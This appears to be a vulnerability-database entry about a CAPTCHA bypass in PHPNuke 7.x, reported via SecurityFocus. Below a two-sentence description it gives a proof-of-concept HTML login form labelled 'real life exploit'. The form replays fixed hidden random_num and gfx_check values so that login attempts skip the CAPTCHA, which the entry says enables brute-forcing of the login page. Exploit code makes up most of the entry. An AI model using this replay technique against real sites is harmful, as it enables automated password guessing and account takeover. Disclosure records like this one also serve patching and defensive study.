PHPNuke 7.x CAPTCHA Bypass Weakness

🗓️ 01 Jul 2014 00:00:00Reported by RootType

PHPNuke 7.x CAPTCHA Bypass Weaknes


                                                source: http://www.securityfocus.com/bid/16722/info

The CAPTCHA implementation of PHPNuke may be bypassed by remote attackers due to a design error.


This may be used to carry out other attacks such as brute-force attempts against the login page.

[------ real life exploit ------]

&#60;html&#62;
&#60;head&#62;
&#60;title&#62;phpNuke CAPTHCA bypass POC&#60;/title&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;center&#62;
&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;

&#60;form action=&#34;http://localhost/nuke78/modules.php?name=Your_Account&#34; method=&#34;post&#34;&#62;

Username: &#60;input type=&#34;text&#34; name=&#34;username&#34; size=&#34;15&#34; maxlength=&#34;25&#34;&#62;&#60;br&#62;
Password: &#60;input type=&#34;password&#34; name=&#34;user_password&#34; size=&#34;15&#34; maxlength=&#34;20&#34;&#62;&#60;br&#62;

&#60;input type=&#34;hidden&#34; name=&#34;random_num&#34; value=&#34;112652&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;gfx_check&#34; value=&#34;304380&#34;&#62;

&#60;input type=&#34;hidden&#34; name=&#34;op&#34; value=&#34;login&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Login&#34;&#62;

&#60;/form&#62;
&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;
&#60;/center&#62;
&#60;/body&#62;
&#60;/html&#62;

[----- /real life exploit ------]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1